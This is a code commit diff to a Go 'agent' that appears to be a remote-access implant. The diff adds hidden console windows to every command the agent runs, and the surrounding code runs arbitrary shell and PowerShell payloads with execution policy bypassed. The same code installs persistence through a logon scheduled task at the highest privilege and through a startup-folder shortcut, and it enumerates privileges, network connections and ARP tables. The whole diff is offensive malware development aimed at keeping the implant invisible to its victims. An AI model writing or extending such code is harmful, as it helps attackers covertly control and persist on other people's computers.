implemented a fix across the agent's codebase to ensure all commands are executed with the HideWindow attribute.

Author: wadecalvin9

agent/cmd/agent/gui_stub.go

@@ -4,3 +4,7 @@ package main
 func ShowMessage(title, text string) {
 	// No-op for non-Windows platforms
 }
+
+func HideConsoleWindow() {
+	// No-op for non-Windows platforms
+}

agent/cmd/agent/gui_windows.go

@@ -14,3 +14,15 @@ func ShowMessage(title, text string) {
 		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
 		0)
 }
+
+func HideConsoleWindow() {
+	kernel32 := syscall.NewLazyDLL("kernel32.dll")
+	user32 := syscall.NewLazyDLL("user32.dll")
+	getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
+	showWindow := user32.NewProc("ShowWindow")
+
+	hwnd, _, _ := getConsoleWindow.Call()
+	if hwnd != 0 {
+		showWindow.Call(hwnd, 0) // SW_HIDE = 0
+	}
+}

agent/cmd/agent/main.go

@@ -24,6 +24,11 @@ func main() {
 	// Load configuration
 	cfg := config.Load()
 
+	// Hide console window in non-debug mode
+	if !cfg.IsDebug {
+		HideConsoleWindow()
+	}
+
 	if cfg.IsDebug {
 		fmt.Println("  [DEBUG MODE ENABLED]")
 		fmt.Println("  Console window is visible and verbose logging is active.")

agent/internal/executor/executor.go

@@ -152,7 +152,9 @@ func collectSystemInfo() string {
 			data["id"] = strings.TrimSpace(string(out))
 		}
 	case "windows":
-		if out, err := exec.Command("whoami").Output(); err == nil {
+		cmd := exec.Command("whoami")
+		windows.HideConsole(cmd)
+		if out, err := cmd.Output(); err == nil {
 			data["user"] = strings.TrimSpace(string(out))
 		}
 	}
@@ -178,6 +180,7 @@ func executeCommand(payload interface{}) (string, error) {
 	switch runtime.GOOS {
 	case "windows":
 		cmd = exec.Command("cmd", "/C", cmdStr)
+		windows.HideConsole(cmd)
 	default:
 		cmd = exec.Command("/bin/sh", "-c", cmdStr)
 	}

agent/internal/executor/network.go

@@ -10,6 +10,8 @@ import (
 	"strings"
 	"sync"
 	"time"
+
+	"bytecode-agent/internal/windows"
 )
 
 // getNetworkInfo returns network interface and connection info
@@ -37,6 +39,7 @@ func getNetworkInfo(_ interface{}) (string, error) {
 	var cmd *exec.Cmd
 	if runtime.GOOS == "windows" {
 		cmd = exec.Command("netstat", "-ano")
+		windows.HideConsole(cmd)
 	} else {
 		cmd = exec.Command("netstat", "-tulpn")
 	}
@@ -50,6 +53,7 @@ func getNetworkInfo(_ interface{}) (string, error) {
 	// ARP table
 	sb.WriteString("\n=== ARP TABLE ===\n\n")
 	arpCmd := exec.Command("arp", "-a")
+	windows.HideConsole(arpCmd)
 	arpOut, err := arpCmd.CombinedOutput()
 	if err == nil {
 		sb.WriteString(string(arpOut))
@@ -195,7 +199,9 @@ func getNetworkInfoJSON(_ interface{}) (string, error) {
 
 	if runtime.GOOS == "windows" {
 		// Parse netstat -ano
-		out, err := exec.Command("netstat", "-ano").Output()
+		cmd := exec.Command("netstat", "-ano")
+		windows.HideConsole(cmd)
+		out, err := cmd.Output()
 		if err == nil {
 			lines := strings.Split(string(out), "\n")
 			for _, line := range lines {

agent/internal/executor/persist_windows.go

@@ -8,6 +8,8 @@ import (
 	"path/filepath"
 	"syscall"
 	"unsafe"
+
+	"bytecode-agent/internal/windows"
 )
 
 func addPersistence(payload interface{}) (string, error) {
@@ -106,6 +108,7 @@ func removeRegistryPersistence() (string, error) {
 func persistScheduledTask(exePath string) (string, error) {
 	cmd := exec.Command("schtasks", "/create", "/tn", "ByteCodeService",
 		"/tr", exePath, "/sc", "onlogon", "/rl", "highest", "/f")
+	windows.HideConsole(cmd)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		return "", fmt.Errorf("schtasks failed: %s", string(out))
@@ -115,6 +118,7 @@ func persistScheduledTask(exePath string) (string, error) {
 
 func removeScheduledTaskPersistence() (string, error) {
 	cmd := exec.Command("schtasks", "/delete", "/tn", "ByteCodeService", "/f")
+	windows.HideConsole(cmd)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		return "", fmt.Errorf("failed: %s", string(out))
@@ -129,6 +133,7 @@ func persistStartupFolder(exePath string) (string, error) {
 
 	psCmd := fmt.Sprintf(`$s=(New-Object -ComObject WScript.Shell).CreateShortcut('%s');$s.TargetPath='%s';$s.Save()`, linkName, exePath)
 	cmd := exec.Command("powershell", "-WindowStyle", "Hidden", "-Command", psCmd)
+	windows.HideConsole(cmd)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		return "", fmt.Errorf("failed: %s %v", string(out), err)

agent/internal/executor/privs.go

@@ -7,6 +7,8 @@ import (
 	"os/user"
 	"runtime"
 	"strings"
+
+	"bytecode-agent/internal/windows"
 )
 
 // getPrivileges enumerates current user privileges and context
@@ -30,20 +32,26 @@ func getPrivileges() (string, error) {
 	if runtime.GOOS == "windows" {
 		// whoami /all
 		sb.WriteString("\n--- whoami /priv ---\n")
-		out, err := exec.Command("whoami", "/priv").CombinedOutput()
+		cmd := exec.Command("whoami", "/priv")
+		windows.HideConsole(cmd)
+		out, err := cmd.CombinedOutput()
 		if err == nil {
 			sb.WriteString(string(out))
 		}
 
 		sb.WriteString("\n--- whoami /groups ---\n")
-		out, err = exec.Command("whoami", "/groups").CombinedOutput()
+		cmd = exec.Command("whoami", "/groups")
+		windows.HideConsole(cmd)
+		out, err = cmd.CombinedOutput()
 		if err == nil {
 			sb.WriteString(string(out))
 		}
 
 		// Check admin
 		sb.WriteString("\n--- Admin Check ---\n")
-		out, err = exec.Command("net", "session").CombinedOutput()
+		cmd = exec.Command("net", "session")
+		windows.HideConsole(cmd)
+		out, err = cmd.CombinedOutput()
 		if err == nil {
 			sb.WriteString("Running as ADMINISTRATOR (elevated)\n")
 		} else {
@@ -96,6 +104,7 @@ func executePowerShell(payload interface{}) (string, error) {
 
 	cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive",
 		"-WindowStyle", "Hidden", "-ExecutionPolicy", "Bypass", "-Command", cmdStr)
+	windows.HideConsole(cmd)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		return string(out), fmt.Errorf("powershell failed: %w", err)

agent/internal/windows/common_windows.go

@@ -3,7 +3,10 @@
 
 package windows
 
-import "syscall"
+import (
+	"os/exec"
+	"syscall"
+)
 
 var (
 	Kernel32 = syscall.NewLazyDLL("kernel32.dll")
@@ -15,6 +18,14 @@ var (
 	ProcCloseHandle  = Kernel32.NewProc("CloseHandle")
 )
 
+// HideConsole prevents a console window from popping up when running a command
+func HideConsole(cmd *exec.Cmd) {
+	if cmd.SysProcAttr == nil {
+		cmd.SysProcAttr = &syscall.SysProcAttr{}
+	}
+	cmd.SysProcAttr.HideWindow = true
+}
+
 const (
 	// Memory Protections
 	PAGE_NOACCESS          = 0x01

agent/internal/windows/syscalls_stub.go

@@ -1,7 +1,14 @@
 //go:build !windows
 package windows
 
-import "fmt"
+import (
+	"fmt"
+	"os/exec"
+)
+
+func HideConsole(cmd *exec.Cmd) {
+	// Do nothing on non-Windows platforms
+}
 
 func GetSyscallID(functionName string) (uint32, error) {
 	return 0, fmt.Errorf("syscalls not supported on this platform")